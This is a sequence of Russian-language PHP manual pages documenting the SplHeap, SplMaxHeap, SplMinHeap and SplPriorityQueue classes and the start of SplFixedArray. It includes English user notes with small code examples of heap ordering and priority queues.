Метод должен возвращать положительное значение, когда value1 больше value2, 0 если они равны, и отрицательное в остальных случаях.

Замечание:

Помещению в кучу одинаковых элементов нежелательно, так как невозможно будет отследить точное положение конкретного элемента.

User Contributed Notes

There are no user contributed notes for this page.


Определяет количество элементов в куче

  • « SplHeap::compare
  • SplHeap::current »
  • PHP Manual
  • SplHeap
  • Определяет количество элементов в куче

SplHeap::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::count — Определяет количество элементов в куче

Описание

public SplHeap::count(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество элементов в куче.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий узел, на который указывает итератор

  • « SplHeap::count
  • SplHeap::extract »
  • PHP Manual
  • SplHeap
  • Возвращает текущий узел, на который указывает итератор

SplHeap::current

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::current — Возвращает текущий узел, на который указывает итератор

Описание

public SplHeap::current(): mixed

Получает текущий элемент, представляющий собой структуру данных.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущее значение узла.

User Contributed Notes

There are no user contributed notes for this page.


Извлекает узел из кучи и пересортирует её

  • « SplHeap::current
  • SplHeap::insert »
  • PHP Manual
  • SplHeap
  • Извлекает узел из кучи и пересортирует её

SplHeap::extract

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::extract — Извлекает узел из кучи и пересортирует её

Описание

public SplHeap::extract(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение извлечённого узла.

Ошибки

Если структура данных узла окажется пустой, будет выброшено исключение RuntimeException.

User Contributed Notes

Sandro Alves Peres 12-Jun-2013 01:06
<?php
$heap = new SplMaxHeap(); # Ascending order
$heap->insert('E');
$heap->insert('B');
$heap->insert('D');
$heap->insert('A');
$heap->insert('C');

echo $heap->extract(), PHP_EOL; # E
echo $heap->extract(), PHP_EOL; # D

$heap = new SplMinHeap(); # Descending order
$heap->insert('E');
$heap->insert('B');
$heap->insert('D');
$heap->insert('A');
$heap->insert('C');

print PHP_EOL;
echo $heap->extract(), PHP_EOL; # A
echo $heap->extract(), PHP_EOL; # B
?>


Вставляет элемент в кучу и пересортирует её

  • « SplHeap::extract
  • SplHeap::isCorrupted »
  • PHP Manual
  • SplHeap
  • Вставляет элемент в кучу и пересортирует её

SplHeap::insert

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::insert — Вставляет элемент в кучу и пересортирует её

Описание

public SplHeap::insert(mixed $value): true

Вставляет value в кучу.

Список параметров

value

Значение, которое требуется вставить.

Возвращаемые значения

Функция всегда возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Указывает, находится ли куча в повреждённом состоянии

  • « SplHeap::insert
  • SplHeap::isEmpty »
  • PHP Manual
  • SplHeap
  • Указывает, находится ли куча в повреждённом состоянии

SplHeap::isCorrupted

(PHP 7, PHP 8)

SplHeap::isCorrupted — Указывает, находится ли куча в повреждённом состоянии

Описание

public SplHeap::isCorrupted(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если куча в повреждённом состоянии, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Проверка, пуста ли куча

  • « SplHeap::isCorrupted
  • SplHeap::key »
  • PHP Manual
  • SplHeap
  • Проверка, пуста ли куча

SplHeap::isEmpty

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::isEmpty — Проверка, пуста ли куча

Описание

public SplHeap::isEmpty(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Определяет, есть ли в куче элементы.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает индекс текущего узла

  • « SplHeap::isEmpty
  • SplHeap::next »
  • PHP Manual
  • SplHeap
  • Возвращает индекс текущего узла

SplHeap::key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::key — Возвращает индекс текущего узла

Описание

public SplHeap::key(): int

Возвращает индекс текущего узла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Индекс текущего узла.

User Contributed Notes

There are no user contributed notes for this page.


Переход к следующему узлу

  • « SplHeap::key
  • SplHeap::recoverFromCorruption »
  • PHP Manual
  • SplHeap
  • Переход к следующему узлу

SplHeap::next

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::next — Переход к следующему узлу

Описание

public SplHeap::next(): void

Переход к следующему узлу. Также удалит узел на вершине кучи.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Восстанавливает корректное состояние кучи

  • « SplHeap::next
  • SplHeap::rewind »
  • PHP Manual
  • SplHeap
  • Восстанавливает корректное состояние кучи

SplHeap::recoverFromCorruption

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::recoverFromCorruption — Восстанавливает корректное состояние кучи

Описание

public SplHeap::recoverFromCorruption(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Всегда возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Перевод итератора на начало

  • « SplHeap::recoverFromCorruption
  • SplHeap::top »
  • PHP Manual
  • SplHeap
  • Перевод итератора на начало

SplHeap::rewind

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::rewind — Перевод итератора на начало

Описание

public SplHeap::rewind(): void

Метод переводит итератор на начало кучи. На самом деле итератор является виртуальным и никуда не двигается с вершины кучи. Так что никаких операций над данными этот метод не совершает.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает узел, находящийся на вершине кучи

  • « SplHeap::rewind
  • SplHeap::valid »
  • PHP Manual
  • SplHeap
  • Возвращает узел, находящийся на вершине кучи

SplHeap::top

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::top — Возвращает узел, находящийся на вершине кучи

Описание

public SplHeap::top(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Узел, находящийся на вершине кучи.

Ошибки

Если структура данных узла окажется пустой, будет выброшено исключение RuntimeException.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержит ли куча ещё элементы

  • « SplHeap::top
  • SplMaxHeap »
  • PHP Manual
  • SplHeap
  • Проверяет, содержит ли куча ещё элементы

SplHeap::valid

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplHeap::valid — Проверяет, содержит ли куча ещё элементы

Описание

public SplHeap::valid(): bool

Проверяет, содержит ли куча ещё элементы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если элементы в куче ещё есть, false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Класс SplMaxHeap

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Класс SplMaxHeap предоставляет основные функциональные возможности кучи, сохраняя максимальный элемент наверху.

Обзор классов

class SplMaxHeap extends SplHeap {
/* Методы */
protected compare(mixed $value1, mixed $value2): int
/* Наследуемые методы */
protected SplHeap::compare(mixed $value1, mixed $value2): int
public SplHeap::count(): int
public SplHeap::current(): mixed
public SplHeap::extract(): mixed
public SplHeap::insert(mixed $value): true
public SplHeap::isCorrupted(): bool
public SplHeap::isEmpty(): bool
public SplHeap::key(): int
public SplHeap::next(): void
public SplHeap::recoverFromCorruption(): bool
public SplHeap::rewind(): void
public SplHeap::top(): mixed
public SplHeap::valid(): bool
}

Содержание

  • SplMaxHeap::compare — Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче

User Contributed Notes

MuLoT [ojousset49 at yahoo dot fr] 17-Dec-2010 05:50
SplMaxHeap simple example with integer values...

&lt;?php
class MySimpleHeap extends SplHeap
{
    public function  compare( $value1, $value2 ) {
        return ( $value1 - $value2 );
    }
}

$obj = new MySimpleHeap();
$obj-&gt;insert( 4 );
$obj-&gt;insert( 8 );
$obj-&gt;insert( 1 );
$obj-&gt;insert( 0 );

foreach( $obj as $number ) {
    echo $number.\&quot;\\n\&quot;;
}

/*
    Output display :
    8
    4
    1
    0
*/
?&gt;


Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче

  • « SplMaxHeap
  • SplMinHeap »
  • PHP Manual
  • SplMaxHeap
  • Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче

SplMaxHeap::compare

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplMaxHeap::compare — Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче

Описание

protected SplMaxHeap::compare(mixed $value1, mixed $value2): int

Сравнивает value1 с value2.

Список параметров

value1

Значение первого сравниваемого узла.

value2

Значение второго сравниваемого узла.

Возвращаемые значения

Метод возвращает положительное значение, когда value1 больше value2, 0 если они равны, и отрицательное в остальных случаях.

Замечание:

Наличие нескольких элементов с одинаковым значением в куче не рекомендуется, так как невозможно будет отследить точное положение конкретного элемента.

User Contributed Notes

sixd at php dot net 21-Dec-2010 12:26
Note the definition of SplMaxHeap::compare() is different from SplMinHeap::compare()


Класс SplMinHeap

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Класс SplMinHeap предоставляет основные функциональные возможности кучи, сохраняя минимальный элемент наверху.

Обзор классов

class SplMinHeap extends SplHeap {
/* Методы */
protectedcompare(mixed $value1, mixed $value2): int
/* Наследуемые методы */
protected SplHeap::compare(mixed $value1, mixed $value2): int
public SplHeap::count(): int
public SplHeap::current(): mixed
public SplHeap::extract(): mixed
public SplHeap::insert(mixed $value): true
public SplHeap::isCorrupted(): bool
public SplHeap::isEmpty(): bool
public SplHeap::key(): int
public SplHeap::next(): void
public SplHeap::recoverFromCorruption(): bool
public SplHeap::rewind(): void
public SplHeap::top(): mixed
public SplHeap::valid(): bool
}

Содержание

  • SplMinHeap::compare — Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче

User Contributed Notes

gom 27-Jan-2020 07:12
I experimented what happens when arrays are inserted:

<?php
$heap = new SplMinHeap();
$heap->insert([22,333]);
$heap->insert([2,33]);
$heap->insert([222,3]);

var_export($heap->extract());
echo '<br>';
var_export($heap->extract());
echo '<br>';
var_export($heap->extract());
?>

Output:

array ( 0 => 2, 1 => 33, )
array ( 0 => 22, 1 => 333, )
array ( 0 => 222, 1 => 3, )


Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче

  • « SplMinHeap
  • SplPriorityQueue »
  • PHP Manual
  • SplMinHeap
  • Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче

SplMinHeap::compare

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplMinHeap::compare — Сравнивает элементы, чтобы во время сортировки корректно разместить их в куче

Описание

protectedSplMinHeap::compare(mixed $value1, mixed $value2): int

Сравнивает value1 с value2.

Список параметров

value1

Значение первого сравниваемого узла.

value2

Значение второго сравниваемого узла.

Возвращаемые значения

Метод возвращает положительное значение, когда value1 больше value2, 0 если они равны, и отрицательное в остальных случаях.

Замечание:

Наличие нескольких элементов с одинаковым значением в куче не рекомендуется, так как невозможно будет отследить точное положение конкретного элемента.

User Contributed Notes

There are no user contributed notes for this page.


Класс SplPriorityQueue

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Класс SplPriorityQueue обеспечивает основные функциональные возможности приоритетной очереди, реализованный при помощи кучи с максимальным элементом наверху (max-heap).

Замечание: Порядок элементов с одинаковым приоритетом не определён. Он может отличаться от порядка, в котором элементы были вставлены.

Обзор классов

class SplPriorityQueue implements Iterator, Countable {
/* Константы */
public const int EXTR_BOTH;
public const int EXTR_PRIORITY;
public const int EXTR_DATA;
/* Методы */
public compare(mixed $priority1, mixed $priority2): int
public count(): int
public current(): mixed
public extract(): mixed
public getExtractFlags(): int
public insert(mixed $value, mixed $priority): true
public isCorrupted(): bool
public isEmpty(): bool
public key(): int
public next(): void
public recoverFromCorruption(): bool
public rewind(): void
public setExtractFlags(int $flags): int
public top(): mixed
public valid(): bool
}

Предопределённые константы

SplPriorityQueue::EXTR_BOTH

SplPriorityQueue::EXTR_PRIORITY

SplPriorityQueue::EXTR_DATA

Содержание

  • SplPriorityQueue::compare — Сравнивает приоритеты для корректного помещения элементов в очередь
  • SplPriorityQueue::count — Производит подсчёт элементов в очереди
  • SplPriorityQueue::current — Возвращает текущий узел, на который указывает итератор
  • SplPriorityQueue::extract — Извлекает узел из начала очереди и пересортирует её
  • SplPriorityQueue::getExtractFlags — Получить флаги извлечения
  • SplPriorityQueue::insert — Добавляет элемент в очередь и пересортирует её
  • SplPriorityQueue::isCorrupted — Указывает, находится ли приоритетная очередь в повреждённом состоянии
  • SplPriorityQueue::isEmpty — Проверяет, является ли очередь пустой
  • SplPriorityQueue::key — Возвращает индекс текущего узла
  • SplPriorityQueue::next — Переход к следующему узлу
  • SplPriorityQueue::recoverFromCorruption — Восстанавливает корректное состояние очереди
  • SplPriorityQueue::rewind — Переводит итератор на начало очереди
  • SplPriorityQueue::setExtractFlags — Задаёт режим извлечения узлов
  • SplPriorityQueue::top — Возвращает узел, находящийся в начале очереди
  • SplPriorityQueue::valid — Проверяет, есть ли в очереди ещё элементы

User Contributed Notes

doublecompile at gmail dot com 24-Jun-2015 08:19
I've used the SplPriorityQueue to determine an HTTP client's preferred MIME types.

<?php
$queue = new \SplPriorityQueue();
foreach (preg_split('#,\s*#', $_SERVER['HTTP_ACCEPT']) as $accept) {
    $split = preg_split('#;\s*q=#', $accept, 2);
    $queue->insert($split[0], isset($split[1]) ? (float)$split[1] : 1.0);
}
foreach ($queue as $mime) {
    echo $mime, PHP_EOL;
}
?>

My browser sends:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

And this script outputs:
text/html
application/xhtml+xml
application/xml
*/*

A better example:
Accept: text/html, application/xml,text/css;q=0.4,text/plain; q=0.9, application/json;q=0.8

And this script outputs:
text/html
application/xml
text/plain
application/json
text/css
Hayley Watson 06-May-2014 02:10
For a heap-based priority queue to be at its most effective, the "priority" should be something that can take on a wide range of values (lengths, timestamps, populations). It optimises the tasks of searching the queue for the appropriate place to insert an item (and inserting it); and removing the first item in the list.

Items may potentially be inserted into the queue wherever two adjacent items have different priorities. The heap structure is an efficient way of indexing such insertion points when there are many of them distributed throughout the list.

If you have a sharply-limited enumeration of possible priority values, then there are very few insertion possible insertion points - one for each priority value. In that situation, one can make the insertion points explicit (and thus eliminate the need to maintain a heap indexing them) by implementing your priority queue as a list of simple queues from which you draw successive items from the highest-priority nonempty queue.
lsroudi at gmail dot com 05-Feb-2014 06:38
<?php

/**
 * Description of PriorityQueue
 *
 * (c) lsroudi http://lsroudi.com/ <lsroudi@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
interface PriorityLoggerInterface {

    public function insert($value, $priority);
}

class PriorityLogger extends SplPriorityQueue implements PriorityLoggerInterface {

}

class Logger {

    const ERROR = 3;
    const NOTICE = 1;
    const WARNING = 2;

    private $priorityLogger;

    public function __construct(PriorityLoggerInterface $priorityLogger)
    {
        $this->priorityLogger = $priorityLogger;
    }

    public function addMessage($value, $priority)
    {
        $this->priorityLogger->insert($value, $priority);
    }

    public function getPriorityLogger()
    {
        return $this->priorityLogger;
    }

}

$priorityLogger = new PriorityLogger();

$logger = new Logger($priorityLogger);
$logger->addMessage('Message with notice type', Logger::NOTICE);
$logger->addMessage('Message with warning type', Logger::WARNING);
$logger->addMessage('Message with error type', Logger::ERROR);

$priorityLoggerQueue = $logger->getPriorityLogger();

foreach ($priorityLoggerQueue as $queue){
    print $queue . PHP_EOL;
}

//Resultat
//Message with error type
//Message with warning type
//Message with notice type
?>
rajatn at rediff dot co dot in 30-Jul-2010 04:29
quick implementation of SPL Priority Queue:

<?php

class PQtest extends SplPriorityQueue
{
    public function compare($priority1, $priority2)
    {
        if ($priority1 === $priority2) return 0;
        return $priority1 < $priority2 ? -1 : 1;
    }
}

$objPQ = new PQtest();

$objPQ->insert('A',3);
$objPQ->insert('B',6);
$objPQ->insert('C',1);
$objPQ->insert('D',2);

echo "COUNT->".$objPQ->count()."<BR>";

//mode of extraction
$objPQ->setExtractFlags(PQtest::EXTR_BOTH);

//Go to TOP
$objPQ->top();

while($objPQ->valid()){
    print_r($objPQ->current());
    echo "<BR>";
    $objPQ->next();
}

?>

output:

COUNT->4
Array ( [data] => B [priority] => 6 )
Array ( [data] => A [priority] => 3 )
Array ( [data] => D [priority] => 2 )
Array ( [data] => C [priority] => 1 )


Сравнивает приоритеты для корректного помещения элементов в очередь

  • « SplPriorityQueue
  • SplPriorityQueue::count »
  • PHP Manual
  • SplPriorityQueue
  • Сравнивает приоритеты для корректного помещения элементов в очередь

SplPriorityQueue::compare

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::compare — Сравнивает приоритеты для корректного помещения элементов в очередь

Описание

public SplPriorityQueue::compare(mixed $priority1, mixed $priority2): int

Сравнивает priority1 с priority2.

Список параметров

priority1

Приоритет первого узла.

priority2

Приоритет второго узла.

Возвращаемые значения

Результат сравнения, положительное число, когда priority1 больше priority2, 0 если они равны, и отрицательное число в остальных случаях.

Замечание:

При добавлении нескольких элементов с одинаковым приоритетом точный порядок следования этих элементов в очереди не определён.

User Contributed Notes

Anonymous 07-Sep-2023 11:47
To create a min-heap priority queue, and have extract() give you the lowest priority:

class MinPriorityQueue extends SplPriorityQueue {
    public function compare($priority1, $priority2) {
        if ($priority1 === $priority2) return 0;
        return $priority1 > $priority2 ? 1 : -1;
    }
}
Anonymous 10-Oct-2009 04:51
At this time, the documentation sais "Note: Multiple elements with the same priority will get dequeued in no particular order."

If you need elements of equal priority to maintain insertion order, you can use something like:

<?php

class StablePriorityQueue extends SplPriorityQueue {
    protected $serial = PHP_INT_MAX;
    public function insert($value, $priority) {
        parent::insert($value, array($priority, $this->serial--));
    }
}

?>


Производит подсчёт элементов в очереди

  • « SplPriorityQueue::compare
  • SplPriorityQueue::current »
  • PHP Manual
  • SplPriorityQueue
  • Производит подсчёт элементов в очереди

SplPriorityQueue::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::count — Производит подсчёт элементов в очереди

Описание

public SplPriorityQueue::count(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество элементов в очереди.

User Contributed Notes

xedin dot unknown at gmail dot com 22-Aug-2018 02:08
After iteration, the queue will be empty. Therefore, `count()` will return 0. You can circumvent this by iterating over a clone, instead of the actual queue.

https://stackoverflow.com/questions/27464012/splpriorityqueuenext-is-removing-the-item


Возвращает текущий узел, на который указывает итератор

  • « SplPriorityQueue::count
  • SplPriorityQueue::extract »
  • PHP Manual
  • SplPriorityQueue
  • Возвращает текущий узел, на который указывает итератор

SplPriorityQueue::current

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::current — Возвращает текущий узел, на который указывает итератор

Описание

public SplPriorityQueue::current(): mixed

Возвращает структуру данных текущего узла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение или приоритет (или и то, и другое) текущего узла в зависимости от заданного флага.

User Contributed Notes

There are no user contributed notes for this page.


Извлекает узел из начала очереди и пересортирует её

  • « SplPriorityQueue::current
  • SplPriorityQueue::getExtractFlags »
  • PHP Manual
  • SplPriorityQueue
  • Извлекает узел из начала очереди и пересортирует её

SplPriorityQueue::extract

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::extract — Извлекает узел из начала очереди и пересортирует её

Описание

public SplPriorityQueue::extract(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение или приоритет (или и то, и другое) текущего узла в зависимости от заданного флага.

User Contributed Notes

There are no user contributed notes for this page.


Получить флаги извлечения

  • « SplPriorityQueue::extract
  • SplPriorityQueue::insert »
  • PHP Manual
  • SplPriorityQueue
  • Получить флаги извлечения

SplPriorityQueue::getExtractFlags

(PHP 7, PHP 8)

SplPriorityQueue::getExtractFlags — Получить флаги извлечения

Описание

public SplPriorityQueue::getExtractFlags(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает флаги извлечения.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет элемент в очередь и пересортирует её

  • « SplPriorityQueue::getExtractFlags
  • SplPriorityQueue::isCorrupted »
  • PHP Manual
  • SplPriorityQueue
  • Добавляет элемент в очередь и пересортирует её

SplPriorityQueue::insert

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::insert — Добавляет элемент в очередь и пересортирует её

Описание

public SplPriorityQueue::insert(mixed $value, mixed $priority): true

Добавляет значение value с приоритетом priority в очередь.

Список параметров

value

Добавляемое значение.

priority

Приоритет значения.

Возвращаемые значения

Функция всегда возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Указывает, находится ли приоритетная очередь в повреждённом состоянии

  • « SplPriorityQueue::insert
  • SplPriorityQueue::isEmpty »
  • PHP Manual
  • SplPriorityQueue
  • Указывает, находится ли приоритетная очередь в повреждённом состоянии

SplPriorityQueue::isCorrupted

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::isCorrupted — Указывает, находится ли приоритетная очередь в повреждённом состоянии

Описание

public SplPriorityQueue::isCorrupted(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если состояние приоритетной очереди повреждено, и false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли очередь пустой

  • « SplPriorityQueue::isCorrupted
  • SplPriorityQueue::key »
  • PHP Manual
  • SplPriorityQueue
  • Проверяет, является ли очередь пустой

SplPriorityQueue::isEmpty

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::isEmpty — Проверяет, является ли очередь пустой

Описание

public SplPriorityQueue::isEmpty(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает результат проверки очереди на пустоту.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает индекс текущего узла

  • « SplPriorityQueue::isEmpty
  • SplPriorityQueue::next »
  • PHP Manual
  • SplPriorityQueue
  • Возвращает индекс текущего узла

SplPriorityQueue::key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::key — Возвращает индекс текущего узла

Описание

public SplPriorityQueue::key(): int

Возвращает индекс текущего узла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Индекс текущего узла.

User Contributed Notes

There are no user contributed notes for this page.


Переход к следующему узлу

  • « SplPriorityQueue::key
  • SplPriorityQueue::recoverFromCorruption »
  • PHP Manual
  • SplPriorityQueue
  • Переход к следующему узлу

SplPriorityQueue::next

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::next — Переход к следующему узлу

Описание

public SplPriorityQueue::next(): void

Переводит итератор на следующий узел.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

ivail89 at mail dot ru 22-Jan-2021 04:20
Method 'next' deletes node from top. See example:
 <?php
$queue = new SplPriorityQueue();

$queue->insert('Q', 5);
$queue->insert('W', 1);
$queue->insert('E', 4);
$queue->insert('R', 2);
$queue->insert('Y', 3);

$queue->next();
$queue->next();
$queue->next();

print_r($queue);
?>

Will be output:

SplPriorityQueue Object
(
    [flags:SplPriorityQueue:private] => 1
    [isCorrupted:SplPriorityQueue:private] =>
    [heap:SplPriorityQueue:private] => Array
        (
            [0] => Array
                (
                    [data] => R
                    [priority] => 2
                )

            [1] => Array
                (
                    [data] => W
                    [priority] => 1
                )

        )

)


Восстанавливает корректное состояние очереди

  • « SplPriorityQueue::next
  • SplPriorityQueue::rewind »
  • PHP Manual
  • SplPriorityQueue
  • Восстанавливает корректное состояние очереди

SplPriorityQueue::recoverFromCorruption

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::recoverFromCorruption — Восстанавливает корректное состояние очереди

Описание

public SplPriorityQueue::recoverFromCorruption(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Всегда возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Переводит итератор на начало очереди

  • « SplPriorityQueue::recoverFromCorruption
  • SplPriorityQueue::setExtractFlags »
  • PHP Manual
  • SplPriorityQueue
  • Переводит итератор на начало очереди

SplPriorityQueue::rewind

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::rewind — Переводит итератор на начало очереди

Описание

public SplPriorityQueue::rewind(): void

Переводит итератор на начало очереди.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Задаёт режим извлечения узлов

  • « SplPriorityQueue::rewind
  • SplPriorityQueue::top »
  • PHP Manual
  • SplPriorityQueue
  • Задаёт режим извлечения узлов

SplPriorityQueue::setExtractFlags

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::setExtractFlags — Задаёт режим извлечения узлов

Описание

public SplPriorityQueue::setExtractFlags(int $flags): int

Список параметров

flags

Определяет, что будет извлекаться методами SplPriorityQueue::current(),
SplPriorityQueue::top() и
SplPriorityQueue::extract().

  • SplPriorityQueue::EXTR_DATA (0x00000001): Извлекать данные
  • SplPriorityQueue::EXTR_PRIORITY (0x00000002): Извлекать приоритет
  • SplPriorityQueue::EXTR_BOTH (0x00000003): Извлекать данные и приоритет в виде массива

По умолчанию работает режим SplPriorityQueue::EXTR_DATA.

Возвращаемые значения

Возвращает флаги извлечения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает узел, находящийся в начале очереди

  • « SplPriorityQueue::setExtractFlags
  • SplPriorityQueue::valid »
  • PHP Manual
  • SplPriorityQueue
  • Возвращает узел, находящийся в начале очереди

SplPriorityQueue::top

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::top — Возвращает узел, находящийся в начале очереди

Описание

public SplPriorityQueue::top(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение или приоритет узла (или и то, и другое) в зависимости от установленного флага.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, есть ли в очереди ещё элементы

  • « SplPriorityQueue::top
  • SplFixedArray »
  • PHP Manual
  • SplPriorityQueue
  • Проверяет, есть ли в очереди ещё элементы

SplPriorityQueue::valid

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplPriorityQueue::valid — Проверяет, есть ли в очереди ещё элементы

Описание

public SplPriorityQueue::valid(): bool

Проверяет, есть ли в очереди ещё элементы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если в очереди ещё есть доступные элементы, и false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Класс SplFixedArray

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Класс SplFixedArray обеспечивает базовую функциональность, предоставляемую массивами. Главное различие между SplFixedArray и обычным массивом PHP в том, что размер SplFixedArray необходимо изменять вручную, а в качестве индексов могут выступать только целочисленные значения. Преимущество данных ограничений заключается в меньшем использовании памяти, чем стандартный массив (array).

Обзор классов

class SplFixedArray implements IteratorAggregate, ArrayAccess, Countable, JsonSerializable {
/* Методы */
public __construct(int $size = 0)
public count(): int
public current(): mixed
public static fromArray(array $array, bool $preserveKeys = true): SplFixedArray
public getIterator(): Iterator
public getSize(): int
public jsonSerialize(): mixed
public key(): int
public next(): void
public offsetExists(int $index): bool
public offsetGet(int $index): mixed
public offsetSet(int $index, mixed $value): void
public offsetUnset(int $index): void
public rewind(): void
public __serialize(): array
public setSize(int $size): bool
public toArray(): array
public __unserialize(array $data): void
public valid(): bool
public __wakeup(): void
}

Список изменений

Версия | Описание
8.2.0 | Магические методы SplFixedArray::__serialize() и SplFixedArray::__unserialize() добавлены в SplFixedArray.
8.1.0 | Класс SplFixedArray теперь реализует интерфейс JsonSerializable.
8.0.0 | Класс SplFixedArray теперь реализует интерфейс IteratorAggregate. Ранее был реализован интерфейс Iterator.

Примеры

Пример #1 Пример использования SplFixedArray

<?php
// Инициализация массива фиксированной длиной
$array = new SplFixedArray(5);

$array[1] = 2;
$array[4] = "foo";

var_dump($array[0]); // NULL
var_dump($array[1]); // int(2)

var_dump($array["4"]); // string(3) "foo"

// Увеличение размера массива до 10
$array->setSize(10);

$array[9] = "asdf";

// Сокращаем размер массива до 2-х
$array->setSize(2);

// Следующий код вызывает исключение RuntimeException: Index invalid or out of range
try {
var_dump($array["non-numeric"]);
} catch(RuntimeException $re) {
echo "RuntimeException: ".$re->getMessage()."\n";
}

try {
var_dump($array[-1]);
} catch(RuntimeException $re) {
echo "RuntimeException: ".$re->getMessage()."\n";
}

try {
var_dump($array[5]);
} catch(RuntimeException $re) {
echo "RuntimeException: ".$re->getMessage()."\n";
}
?>

Результат выполнения данного примера:

NULL
int(2)
string(3) "foo"
RuntimeException: Index invalid or out of range
RuntimeException: Index invalid or out of range
RuntimeException: Index invalid or out of range

Содержание

  • SplFixedArray::__construct — Создаёт новый массив фиксированной длины
  • SplFixedArray::count — Возвращает размер массива
  • SplFixedArray::current — Возвращает текущий элемент массива
  • SplFixedArray::fromArray — Импортирует PHP-массив в объект класса SplFixedArray
  • SplFixedArray::getIterator — Получает итератор для перехода по массиву
  • SplFixedArray::getSize — Получает размер массива
  • SplFixedArray::jsonSerialize — Возвращает представление, которое может быть преобразовано в JSON
  • SplFixedArray::key — Возвращает индекс текущего элемента массива
  • SplFixedArray::next — Переходит к следующему элементу массива
  • SplFixedArray::offsetExists — Возвращает факт наличия указанного индекса массива
  • SplFixedArray::offsetGet — Возвращает значение по указанному индексу
  • SplFixedArray::offsetSet — Устанавливает новое значение по заданному индексу
  • SplFixedArray::offsetUnset — Удаляет значение по индексу $index
  • SplFixedArray::rewind — Устанавливает итератор массива в начало
  • SplFixedArray::__serialize — Сериализует объект SplFixedArray
